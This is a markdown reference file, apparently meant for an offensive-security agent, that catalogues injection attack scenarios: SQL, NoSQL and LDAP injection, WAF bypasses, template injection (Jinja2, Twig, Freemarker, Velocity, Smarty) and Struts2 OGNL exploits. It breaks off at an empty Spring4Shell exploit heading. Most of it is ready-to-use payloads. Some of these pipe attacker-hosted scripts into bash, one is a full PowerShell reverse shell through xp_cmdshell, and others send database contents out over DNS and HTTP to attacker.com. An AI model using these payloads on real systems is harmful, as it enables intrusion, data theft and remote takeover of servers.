---
name: scenarios-injection
description: "Real-world attack scenarios for SQLi, SSTI, Command Injection, JNDI — CVEs, bug bounty disclosures, real engagement chains"
---

# Injection (SQLi + SSTI + Command Injection) — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · Exploit-DB · Black Hat/DEF CON research · real engagement patterns

## Index

### SQL Injection
- S01: UNION-based SQLi (MySQL/PostgreSQL/MSSQL/Oracle)
- S02: Error-based SQLi via verbose errors
- S03: Boolean-based blind SQLi
- S04: Time-based blind SQLi
- S05: Stacked queries → DDL/RCE (MSSQL/MSSQL+PostgreSQL)
- S06: SQLi → RCE via xp_cmdshell
- S07: SQLi → RCE via UDF (MySQL)
- S08: SQLi → RCE via PostgreSQL COPY TO/FROM PROGRAM
- S09: OOB SQLi via DNS (load_file + UNC on MSSQL)
- S10: OOB SQLi via UTL_HTTP (Oracle)
- S11: Second-order SQLi
- S12: SQLi in JSON/XML parameters
- S13: SQLi in HTTP headers (User-Agent, X-Forwarded-For, Referer)
- S14: SQLi in GraphQL arguments
- S15: SQLi in ORDER BY / GROUP BY / LIMIT injection
- S16: SQLi in NoSQL (MongoDB $where, $regex, $ne)
- S17: SQLi in Elasticsearch (Lucene query)
- S18: SQLi in LDAP filter
- S19: WAF bypass for SQLi

### Server-Side Template Injection (SSTI)
- S20: Jinja2 SSTI → RCE (Python/Flask)
- S21: Twig SSTI → RCE (PHP/Symfony)
- S22: Freemarker SSTI → RCE (Java)
- S23: Velocity SSTI → RCE (Java)
- S24: Smarty SSTI (PHP)
- S25: OGNL injection → RCE (Struts2)
- S26: EL injection → RCE (Spring/Thymeleaf)
- S27: ERB SSTI (Ruby/Rails)
- S28: Pebble SSTI (Java)
- S29: Mako SSTI (Python)

### Command Injection
- S30: OS command injection in ping/traceroute functions
- S31: Blind command injection via OOB DNS
- S32: Command injection in User-Agent / Referer
- S33: Command injection via file upload filename
- S34: Log4Shell (Log4j JNDI) — CVE-2021-44228
- S35: Spring4Shell — CVE-2022-22965
- S36: Struts2 OGNL RCE chains
- S37: Shellshock — CVE-2014-6271
- S38: ImageMagick delegate RCE — ImageTragick
- S39: Ghostscript RCE — CVE-2018-16509

---

## SQL Injection

### S01: UNION-based SQLi (MySQL)
**Context:** Login form, search bar, profile lookup — anywhere user input is concatenated into SELECT
**Seen in:** Real — countless HackerOne reports, OWASP Top 10 #3
**Impact:** Full DB read, dump users, hashes, PII

### Detection
```bash
# Test for SQLi:
curl "https://target.com/item?id=1'"
# Look for SQL error or different response
curl "https://target.com/item?id=1' AND '1'='1"  # true
curl "https://target.com/item?id=1' AND '1'='2"  # false
# ORDER BY for column count:
curl "https://target.com/item?id=1' ORDER BY 1-- -"
curl "https://target.com/item?id=1' ORDER BY 10-- -"
```

### Exploit
```bash
# 1. Determine column count
?id=1' ORDER BY 5-- -  # works
?id=1' ORDER BY 6-- -  # error → 5 columns

# 2. UNION SELECT
?id=-1' UNION SELECT 1,2,3,4,5-- -

# 3. Extract database info
?id=-1' UNION SELECT 1,version(),database(),user(),@@version-- -

# 4. Enumerate tables
?id=-1' UNION SELECT 1,group_concat(table_name),3,4,5 
  FROM information_schema.tables WHERE table_schema=database()-- -

# 5. Dump users
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -
```

### Chain
1. Find SQLi via boolean test
2. Determine column count via ORDER BY
3. UNION SELECT to extract schema
4. Dump target tables (users, admins, sessions)
5. Crack password hashes offline
6. Login as admin

### Bypass / Notes
- Filtered UNION: `UnIoN SeLeCt`
- Comment variations: `-- -`, `/*`, `#`, `;%00`
- Use sqlmap: `sqlmap -u "URL" --dbs --batch`

---

### S02: Error-based SQLi
**Context:** App displays verbose DB errors
**Seen in:** Real — debug mode, custom error pages
**Impact:** Data extraction via error messages

### Detection
```bash
# Trigger error:
curl "https://target.com/?id=1'"
# Look for: "You have an error in your SQL syntax", "PostgreSQL", "Microsoft SQL", etc.
```

### Exploit
```bash
# MySQL extractvalue:
?id=1 AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- -

# MySQL updatexml:
?id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)-- -

# PostgreSQL cast:
?id=1 AND 1=cast((SELECT version()) as int)-- -

# MSSQL convert:
?id=1 AND 1=convert(int, (SELECT @@version))-- -

# Oracle UTL_INADDR:
?id=1 AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
```

### Chain
Same as S01 — but extraction is faster via error messages.

### Bypass / Notes
- Some apps log errors but don't display → check JS console for AJAX responses
- SQLmap technique: `--technique=E`

---

### S03: Boolean-based Blind SQLi
**Context:** App doesn't show DB data or errors, but behaves differently on true vs false
**Seen in:** Real — login pages, search results (exists/doesn't exist)
**Impact:** Slow but reliable data extraction

### Detection
```bash
# True:
?id=1' AND 1=1-- -  # behaves normally
# False:
?id=1' AND 1=2-- -  # behaves differently
```

### Exploit
```bash
# Extract data char by char:
?id=1' AND ascii(substring((SELECT user()),1,1))>100-- -
# 100 = true
?id=1' AND ascii(substring((SELECT user()),1,1))>115-- -
# Iterate to find char
# Automate with sqlmap or custom script
```

### Chain
1. Confirm true/false differential
2. Use binary search on ASCII values
3. Extract each character of each column
4. Slow (minutes per char) but works
5. Use sqlmap for speed: `--technique=B`

### Bypass / Notes
- Bypass WAF: use time-based instead
- Use conditional expressions: `IF(1=1, true, false)`

---

### S04: Time-based Blind SQLi
**Context:** No output difference, no errors, only time
**Seen in:** Real — most common in modern apps
**Impact:** Slowest but works anywhere

### Detection
```bash
# MySQL:
?id=1' AND SLEEP(5)-- -  # response delayed 5s
# PostgreSQL:
?id=1'; SELECT pg_sleep(5)-- -
# MSSQL:
?id=1'; WAITFOR DELAY '0:0:5'-- -
# Oracle:
?id=1' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
```

### Exploit
```bash
# Extract data via time:
?id=1' AND IF(ascii(substring((SELECT user()),1,1))>100, SLEEP(5), 0)-- -
# 5s = true, 0s = false → binary search
# Sqlmap: --technique=T
```

### Chain
1. Confirm SLEEP/delay works
2. Extract data via time-based blind
3. Very slow but reliable
4. Combine with multiple parallel requests

### Bypass / Notes
- WAFs often block `SLEEP`, `BENCHMARK`
- Use `WAITFOR` (MSSQL) or `pg_sleep` (Postgres)
- Try OOB if available

---

### S05: Stacked Queries
**Context:** DB driver allows multiple statements in one query
**Seen in:** Real — older PHP/PDO with emulated prepares, MSSQL native
**Impact:** INSERT/UPDATE/DELETE → data manipulation, possible RCE

### Detection
```bash
# Try to add a second statement:
?id=1'; SELECT SLEEP(5)-- -  # MSSQL
?id=1'; SELECT pg_sleep(5)-- -  # PostgreSQL
# Or INSERT/UPDATE:
'; INSERT INTO users (username,password) VALUES ('hacker','hacker')-- -
```

### Exploit
```bash
# MSSQL: add new admin user
'; INSERT INTO users (username, password, role) VALUES ('attacker', 'hash', 'admin')-- -

# PostgreSQL: enable RCE via COPY
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'curl https://attacker.com/shell'-- -

# MSSQL: enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell('whoami')-- -
```

### Chain
1. Confirm stacked queries work
2. If MSSQL: enable xp_cmdshell → RCE
3. If PostgreSQL: use COPY TO/FROM PROGRAM → RCE
4. If MySQL: limited to DML

### Bypass / Notes
- Modern PDO (with `PDO::ATTR_EMULATE_PREPARES=false`) blocks stacking
- Native drivers (sqlsrv, pg) often allow stacking

---

### S06: SQLi → RCE via xp_cmdshell (MSSQL)
**Context:** MSSQL DB with sysadmin role and xp_cmdshell enableable
**Seen in:** Real — Pentest engagements, bug bounty
**Impact:** Direct RCE on DB server (often domain controller in AD env)

### Detection
```bash
# Check if xp_cmdshell enabled:
?id=1'; EXEC xp_cmdshell 'whoami'-- -
# If not enabled, try to enable (requires sysadmin):
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

### Exploit
```bash
# Direct RCE:
'; EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString(''https://attacker.com/shell.ps1''')'; -- -

# Reverse shell:
'; EXEC xp_cmdshell 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker.com'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"'; -- -
```

### Chain
1. Find SQLi with stacked queries (MSSQL)
2. Check if sysadmin or can elevate
3. Enable xp_cmdshell
4. Execute commands as DB service account
5. Often runs as LocalSystem or domain service account
6. Pivot from there

### Bypass / Notes
- Requires sysadmin to enable xp_cmdshell
- If app user is `sa`, easy
- If not, look for other escalation paths

---

### S07: SQLi → RCE via UDF (MySQL)
**Context:** MySQL with FILE privilege and ability to load shared library
**Seen in:** Real — Pentest engagements
**Impact:** RCE on MySQL server

### Detection
```bash
# Check FILE privilege:
' AND (SELECT file_priv FROM mysql.user WHERE user=substring(user(),1,4))='Y'-- -
```

### Exploit
```bash
# 1. Get UDF library (lib_mysqludf_sys):
#   - From sqlmap: /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so
#   - Or compile from: https://github.com/mysqludf/lib_mysqludf_sys

# 2. Upload to plugin dir:
'; SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';-- -

# 3. Create UDF:
'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';-- -

# 4. Execute:
'; SELECT sys_exec('id > /tmp/out');-- -
'; SELECT sys_eval('whoami');-- -
```

### Chain
1. Find SQLi with FILE privilege
2. Upload UDF library
3. Create function from library
4. Execute OS commands
5. Often runs as `mysql` user — escalate

### Bypass / Notes
- Plugin dir varies: `/usr/lib/mysql/plugin/`, `/usr/lib64/mysql/plugin/`
- Windows: `C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\`
- If LOAD_FILE blocked, use INTO OUTFILE

---

### S08: SQLi → RCE via PostgreSQL COPY TO/FROM PROGRAM
**Context:** PostgreSQL 9.3+ with superuser or appropriate role
**Seen in:** Real — bug bounty, pentests
**Impact:** Direct RCE

### Detection
```bash
# Check superuser:
'; SELECT current_setting('is_superuser');-- -
# If 'on' → can use COPY FROM PROGRAM
```

### Exploit
```bash
# Read file:
'; CREATE TABLE loot(data text); COPY loot FROM '/etc/passwd';-- -
'; SELECT * FROM loot;-- -

# Write file:
'; COPY (SELECT 'pwned') TO '/tmp/proof';-- -

# RCE:
'; CREATE TABLE exec(cmd text); COPY exec FROM PROGRAM 'id > /tmp/out';-- -
'; CREATE TABLE exec(cmd text); COPY exec FROM PROGRAM 'curl https://attacker.com/shell.sh|bash';-- -
```

### Chain
1. Find SQLi with stacked queries (PostgreSQL)
2. Check role
3. If superuser, use COPY FROM PROGRAM
4. Execute commands
5. Often runs as `postgres` user → escalate to root

### Bypass / Notes
- PostgreSQL 9.3+ required
- Non-superuser may still have FILE access
- Use `pg_read_file()` for read-only

---

### S09: OOB SQLi via DNS (load_file + UNC, MSSQL)
**Context:** No direct output, no time difference, but DB can make outbound requests
**Seen in:** Real — internal pentests, blind SQLi
**Impact:** Data exfil via DNS lookups

### Detection
```bash
# Set up OOB listener (interactsh, Burp Collaborator)
# Try to trigger:
'; EXEC master..xp_dirtree '\\\\attacker.com\\share'-- -
# Or:
'; SELECT LOAD_FILE(concat('\\\\', (SELECT version()), '.attacker.com\\a'));-- -
```

### Exploit
```bash
# MSSQL UNC path:
'; DECLARE @x varchar(1024); SET @x='\\\\'+(SELECT TOP 1 username FROM users)+'.attacker.com\\a'; EXEC master..xp_dirtree @x;-- -

# MySQL LOAD_FILE:
' AND LOAD_FILE(concat('\\\\', (SELECT user()), '.attacker.com\\a'))-- -
# Note: requires FILE privilege + DNS lookup
```

### Chain
1. Confirm OOB via DNS lookup
2. Exfil data via subdomain (e.g., `attacker-user-data.com`)
3. Capture DNS query → data leaked
4. Works even with no time/boolean diff
5. Combine with iterative exfil for full DB

### Bypass / Notes
- DNS exfil is noisy → can trigger IDS
- Use Burp Collaborator / interact.sh for capture
- Some networks block outbound DNS → alternative needed

---

### S10: OOB SQLi via UTL_HTTP (Oracle)
**Context:** Oracle DB with `UTL_HTTP` accessible
**Seen in:** Real — Oracle pentests
**Impact:** Data exfil + SSRF from DB

### Detection
```bash
# Check UTL_HTTP:
' AND (SELECT COUNT(*) FROM all_objects WHERE object_name='UTL_HTTP')>0-- -
```

### Exploit
```bash
# SSRF via Oracle:
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))-- -

# Exfil data:
' AND UTL_HTTP.REQUEST('http://attacker.com/?u='||(SELECT username FROM all_users WHERE rownum=1))-- -
```

### Chain
1. Find SQLi (Oracle)
2. Verify UTL_HTTP accessible
3. Exfil data via HTTP requests to attacker
4. Or scan internal network from DB server

### Bypass / Notes
- Modern Oracle requires ACL for outbound
- Old Oracle (10g/11g) often wide open

---

### S11: Second-order SQLi
**Context:** Input stored safely, retrieved and used unsafely
**Seen in:** Real — many bug bounty reports
**Impact:** Delayed exploitation, often with privileged context

### Detection
```bash
# 1. Find an input field that gets stored
# 2. Set value to: ' OR 1=1-- -
# 3. Find where it's displayed/processed unsafely
# 4. Trigger the unsafe context (view profile, search by name, etc.)
```

### Exploit
```bash
# Step 1: Inject into stored field (e.g., username):
username = "attacker' OR 1=1-- -"
# Step 2: Admin views user list:
# SQL becomes: SELECT * FROM logs WHERE username='attacker' OR 1=1-- -'
# → All logs dumped
```

### Chain
1. Find input stored (registration, profile, comment)
2. Inject SQLi payload
3. Find where stored data is used in query (admin view, search, export)
4. Trigger by viewing in unsafe context
5. Often admin context → full DB access

### Bypass / Notes
- Hard to find — requires tracing data flow
- Login as 'admin'-- - if username is unique key

---

### S12: SQLi in JSON/XML parameters
**Context:** REST API with JSON body, server concatenates JSON into SQL
**Seen in:** Real — many modern APIs
**Impact:** Same as S01, but with JSON content-type

### Detection
```bash
# JSON body:
curl -X POST https://target.com/api/search -H "Content-Type: application/json" -d '{"name":"test'\''"}'
# Check response for SQL error
# Or:
curl -X POST https://target.com/api/search -H "Content-Type: application/json" -d '{"name":{"$gt":""}}'
```

### Exploit
```bash
# Direct SQLi in JSON:
{"name":"test' UNION SELECT 1,version(),3-- -"}

# NoSQL injection (MongoDB):
{"username":{"$ne":""},"password":{"$ne":""}}
# Bypasses login as first user
{"username":"admin","password":{"$gt":""}}
```

### Chain
1. Find JSON API
2. Test each field for SQLi/NoSQL injection
3. Extract data via UNION
4. Or use NoSQL operators for auth bypass

### Bypass / Notes
- Many WAFs don't inspect JSON body
- Use single quote in string values
- Some APIs deserialize without validation

---

### S13: SQLi in HTTP Headers
**Context:** App logs/uses User-Agent, X-Forwarded-For, Referer in DB
**Seen in:** Real — analytics, logging, audit trails
**Impact:** SQLi in unusual places, often bypasses WAF

### Detection
```bash
# Test each header:
curl -H "User-Agent: test'" https://target.com/
curl -H "X-Forwarded-For: test'" https://target.com/
curl -H "Referer: test'" https://target.com/
# Check response for SQL error
```

### Exploit
```bash
# User-Agent SQLi:
User-Agent: ' OR 1=1-- -
# X-Forwarded-For (often used in rate-limit tracking):
X-Forwarded-For: ' UNION SELECT version()-- -
# Referer (in analytics):
Referer: ' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
```

### Chain
1. Find header that gets stored/used in query
2. Inject SQLi in header
3. Often no WAF (headers are usually trusted)
4. Extract data

### Bypass / Notes
- Many apps have WAF only on URL params
- Headers often missed in sanitization
- Combine with log poisoning for RCE

---

### S14: SQLi in GraphQL
**Context:** GraphQL endpoint that constructs SQL from query arguments
**Seen in:** Real — HackerOne reports
**Impact:** DB access via GraphQL

### Detection
```bash
# Test SQLi in argument values:
{"query":"{user(id:\"1'\"){name}}"}
# Look for SQL error in response
```

### Exploit
```bash
# Inject in argument:
{"query":"{user(id:\"-1' UNION SELECT 1,version(),3-- -\"){name email}}"}
# Or via variable:
{"query":"query($id: ID!) {user(id: $id){name}}","variables":{"id":"-1' UNION SELECT 1,version(),3-- -"}}
```

### Chain
1. Find GraphQL endpoint (often `/graphql`, `/api/graphql`)
2. Enable introspection (or guess)
3. Find queries that take ID/string args
4. Inject SQLi in args
5. Extract DB via UNION

### Bypass / Notes
- GraphQL variables often sanitized differently than inline
- Some frameworks auto-escape (then can't SQLi)
- See rt-exploit-graphql for full GraphQL coverage

---

### S15: SQLi in ORDER BY / GROUP BY / LIMIT
**Context:** Sort, group, paginate parameters
**Seen in:** Real — sort=asc/desc, page=1, limit=10
**Impact:** DB access, often bypasses param-based WAF

### Detection
```bash
# ORDER BY injection:
?sort=name'-- -
?sort=name,1-- -  # ORDER BY multiple columns
# LIMIT injection:
?limit=10 OFFSET 0
?page=1; DROP TABLE users-- -
```

### Exploit
```bash
# ORDER BY boolean:
?sort=(SELECT CASE WHEN 1=1 THEN name ELSE price END)-- -
# Conditional ORDER BY
?sort=IF(1=1, name, price)-- -
# GROUP BY injection:
?group=name HAVING (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
```

### Chain
1. Find sort/group/limit parameter
2. Inject boolean/time-based SQLi
3. Extract data char by char
4. Often missed by WAFs

### Bypass / Notes
- ORDER BY can't use UNION → use CASE/IF
- Some apps only allow `asc/desc` enum → bypass via case
- Combine with time-based for stealth

---

### S16: NoSQL Injection (MongoDB)
**Context:** MongoDB queries built from user input
**Seen in:** Real — many bug bounty reports, especially Node.js apps
**Impact:** Auth bypass, full DB access

### Detection
```bash
# Test NoSQL operators in input:
curl -X POST https://target.com/login -H "Content-Type: application/json" -d '{"username":"admin","password":{"$ne":""}}'
curl -X POST https://target.com/login -d "username=admin&password[$ne]=wrong"
```

### Exploit
```bash
# Auth bypass via $ne:
{"username":"admin","password":{"$ne":"wrong"}}
# Returns user with password != "wrong" → likely the admin

# $regex password brute-force:
{"username":"admin","password":{"$regex":"^a"}}
# Time-based via $regex:
{"username":"admin","password":{"$regex":"^a.*"}}

# $where JavaScript injection:
{"$where":"this.username=='admin'"}
{"$where":"sleep(5000) || this.username=='admin'"}

# $exists queries:
{"username":{"$exists":true},"password":{"$exists":true}}
```

### Chain
1. Find login/search with JSON body
2. Inject MongoDB operators
3. Bypass auth via `$ne`
4. Extract password via `$regex` brute-force
5. Or pivot via `$where` RCE

### Bypass / Notes
- PHP: `password[$ne]=x` works
- Express body-parser: JSON or URL-encoded both work
- Some apps use mongoose with strict mode → harder

---

### S17: SQLi in Elasticsearch (Lucene)
**Context:** Elasticsearch query constructed from user input
**Seen in:** Real — many internal tools
**Impact:** Data dump, sometimes RCE via Groovy scripting

### Detection
```bash
# Inject in search query:
curl "https://target.com/api/search?q=test*"
curl "https://target.com/api/search?q=test*))%20OR%20*:*"
# Or via JSON DSL:
{"query":{"query_string":{"query":"*)) OR 1=1 /*"}}}
```

### Exploit
```bash
# Wildcard injection:
?q=*) OR version():*
# Lucene field access:
?q=name:test AND _exists_:password
# Or:
?q=*)(*  # query_string injection
```

### Chain
1. Find ES endpoint
2. Inject Lucene query syntax
3. Dump indices
4. RCE via Groovy if exposed:
```json
POST /_search?source={"query":{"match_all":{}}}
{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
```

### Bypass / Notes
- Default ES has Groovy scripting disabled
- Older versions vulnerable to Groovy RCE
- Lucene syntax is different from SQL

---

### S18: SQLi in LDAP filter
**Context:** LDAP authentication or search with user input
**Seen in:** Real — enterprise apps, AD
**Impact:** Auth bypass, directory enumeration

### Detection
```bash
# Login form using LDAP:
username: *
password: anything
# Or: username: admin)(|(password=*
```

### Exploit
```bash
# LDAP injection in filter:
username: admin)(&)
password: anything
# Becomes filter: (&(uid=admin)(&))(userPassword=anything)
# Which is true → login success

# Wildcard in username:
username: *
# Returns all users
# Or with cn:
username: admin)(cn=*

# Password bypass:
username: admin)(|(password=*
# Filter becomes: (&(uid=admin)(|(password=*)(anything))
```

### Chain
1. Find LDAP-based login
2. Inject LDAP filter syntax
3. Bypass auth with wildcard
4. Enumerate users
5. Or extract via blind LDAPi

### Bypass / Notes
- Some LDAP libs auto-escape → can't inject
- PHP `ldap_search` is vulnerable
- Java `InitialDirContext` is safer

---

### S19: WAF Bypass for SQLi
**Context:** Cloudflare, Akamai, ModSecurity blocking SQLi
**Seen in:** Real — every modern app
**Impact:** Bypass WAF → SQLi

### Detection
```bash
# Test WAF detection:
curl "https://target.com/?id=1' OR 1=1-- -" -I
# If 403/406 → WAF detected
```

### Exploit
```bash
# Common WAF bypasses:
# 1. Inline comments:
?id=1'/**/UNION/**/SELECT/**/1,2,3-- -
# 2. Case variation:
?id=1' UnIoN SeLeCt 1,2,3-- -
# 3. URL encoding (double encode):
?id=1%27%20%4f%52%20%31%3d%31-- -
# 4. HTTP Parameter Pollution:
?id=1&id=' OR 1=1-- -
# 5. Comment at end:
?id=1'/*!UNION*/SELECT 1,2,3-- -
# 6. Scientific notation in numbers:
?id=1E0UNION SELECT 1,2,3-- -
# 7. HPP in cookies:
Cookie: id=1; id=' OR 1=1-- -
# 8. JSON content-type (no inspection):
{"id":"1' OR 1=1-- -"}
# 9. Chunked transfer encoding
# 10. Null bytes:
?id=1'%00' OR 1=1-- -
```

### Chain
1. Identify WAF (Cloudflare, Akamai, ModSecurity)
2. Apply vendor-specific bypasses
3. Use sqlmap: `--tamper=between,space2comment,randomcase`
4. Test in body if URL params are filtered

### Bypass / Notes
- WAFs improve over time — old bypasses may not work
- Combine techniques (e.g., comment + encoding + case)
- Try unusual parameters (headers, JSON, etc.)

---

## Server-Side Template Injection (SSTI)

### S20: Jinja2 SSTI → RCE (Python/Flask)
**Context:** Flask/Jinja2 app with user input in template
**Seen in:** Real — many bug bounty reports, Pentest engagements
**Impact:** Direct RCE on server

### Detection
```bash
# Test for SSTI:
{{7*7}}  # If 49 in response → SSTI
${7*7}  # Jinja2 alt
<%= 7*7 %>  # ERB
```

### Exploit
```bash
# Jinja2 RCE chain:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Or:
{{''.__class__.__mro__[1].__subclasses__()}}
# Or simpler (newer Jinja2):
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['os'].popen('id').read()}}
# Or with cycler:
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Or with joiner:
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Or with namespace:
{{namespace.__init__.__globals__.os.popen('id').read()}}
```

### Chain
1. Find SSTI with `{{7*7}}`
2. Test for RCE with `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}`
3. Reverse shell: `{{config.__class__.__init__.__globals__['os'].popen('curl https://attacker.com/shell|bash').read()}}`
4. Get full server access

### Bypass / Notes
- Jinja2 sandboxes can be escaped
- Use `__mro__` to walk class hierarchy
- Try `|attr()` filter for XSS-filter bypass

---

### S21: Twig SSTI → RCE (PHP/Symfony)
**Context:** Twig template with user input
**Seen in:** Real — Symfony apps, CTF
**Impact:** RCE on PHP server

### Detection
```bash
# Test for Twig SSTI:
{{7*7}}
# If 49 → Twig
```

### Exploit
```bash
# Twig (older versions):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Or:
{{['id']|map('system')}}
# Or:
{{_self.env.getFilter("id")|map("system")}}
# Twig 3 (newer):
{{['id']|filter('system')}}
```

### Chain
1. Find SSTI with `{{7*7}}`
2. Apply Twig-specific RCE chain
3. Execute commands
4. Get web server user → escalate

### Bypass / Notes
- Twig 1.x and 2.x have multiple RCE chains
- Twig 3.x has some sandboxes bypassed
- Check version in source

---

### S22: Freemarker SSTI → RCE (Java)
**Context:** Apache Freemarker template with user input
**Seen in:** Real — Java web apps
**Impact:** RCE on Java server

### Detection
```bash
# Freemarker:
${7*7}
# If 49 → Freemarker
```

### Exploit
```bash
# Freemarker RCE (multiple chains):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Or:
<#assign ex="freemarker.core.ClassUtil"?j?new()>${ex["forName"]("java.lang.Runtime")["getRuntime"]()["exec"]("id")}
# Or via API:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","['id']")["start"]()}
```

### Chain
1. Find SSTI
2. Apply Freemarker RCE
3. RCE on Java app server (Tomcat, JBoss, etc.)
4. Often web app user → escalate

### Bypass / Notes
- Newer Freemarker blocks `Execute` constructor
- Other chains via reflection
- Check app's Freemarker version

---

### S23: Velocity SSTI → RCE (Java)
**Context:** Apache Velocity template with user input
**Seen in:** Real — Java apps
**Impact:** RCE

### Detection
```bash
# Velocity:
#set($x=7*7)$x
# If 49 → Velocity
```

### Exploit
```bash
# Velocity RCE:
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime"))
#set($methods=$runtime.getMethods())
#set($exec=$methods[6])
#set($process=$exec.invoke($runtime.getRuntime(),"id"))
# Simpler (with ClassTool):
#set($x='')##
#set($rt=$x.forName('java.lang.Runtime'))##
#set($chr=$x.forName('java.lang.Character'))##
#set($str=$x.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
```

### Chain
1. SSTI detection
2. RCE chain
3. Server access

### Bypass / Notes
- Newer Velocity has sandbox
- Older versions wide open

---

### S24: Smarty SSTI (PHP)
**Context:** Smarty template with user input
**Seen in:** Real — PHP apps
**Impact:** RCE

### Detection
```bash
# Smarty:
{7*7}
# If 49 → Smarty
```

### Exploit
```bash
# Smarty RCE:
{system('id')}
{php}system('id');{/php}
# Or:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id')?>",self::clearConfig())}
```

### Chain
1. SSTI detection
2. RCE chain
3. PHP code execution

### Bypass / Notes
- Smarty 2 allowed `{php}` tags
- Smarty 3 removed but other RCE chains exist
- Check version

---

### S25: OGNL Injection → RCE (Struts2)
**Context:** Apache Struts2 with user input in OGNL
**Seen in:** Real — many CVEs (CVE-2017-5638, CVE-2018-11776, etc.)
**Impact:** RCE on Struts2 server

### Detection
```bash
# Struts2 Content-Type OGNL injection:
curl -H "Content-Type: %{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://target.com/struts2-showcase/integration/editGangster.action
```

### Exploit
```bash
# Real Struts2 OGNL RCEs (CVE-2017-5638):
curl -H "Content-Type: %{...ognl...}" https://target.com/any-struts2-action
# CVE-2018-11776 (RCE via redirect):
curl "https://target.com/redirect?url=%24%7B%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23cmd%3D'id'%2C%23iswin%3D%28%40java.lang.System%40getProperty%28'os.name'%29.toLowerCase%28%29.contains%28'win'%29%29%2C%23cmds%3D%28%23iswin%3F%7B'cmd'%2C'/c'%2C%23cmd%7D%3A%7B'/bin/bash'%2C'-c'%2C%23cmd%7D%29%2C%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%2C%23p.redirectErrorStream%28true%29%2C%23process%3D%23p.start%28%29%2C%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%2C%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29%7D" -L
```

### Chain
1. Identify Struts2 (Content-Type, .action URLs, framework fingerprints)
2. Identify version → find applicable CVE
3. Use known RCE exploit for that version
4. Reverse shell
5. Pivot

### Bypass / Notes
- Struts2 has many OGNL RCE CVEs
- Check version in response headers or HTML
- Many bug bounty $10K+ for Struts2 RCEs

---

### S26: EL Injection → RCE (Spring/Thymeleaf)
**Context:** SpEL/OGNL/EL expression in Spring apps
**Seen in:** Real — Spring4Shell CVE-2022-22965
**Impact:** RCE on Spring server

### Detection
```bash
# Spring4Shell detection:
curl "https://target.com/?class.module.classLoader.DefaultAssertionStatus=true"
# Or older SpEL:
https://target.com/?name=${7*7}
```

### Exploit
```bash
# Spring4Shell (CVE-2022-22965):
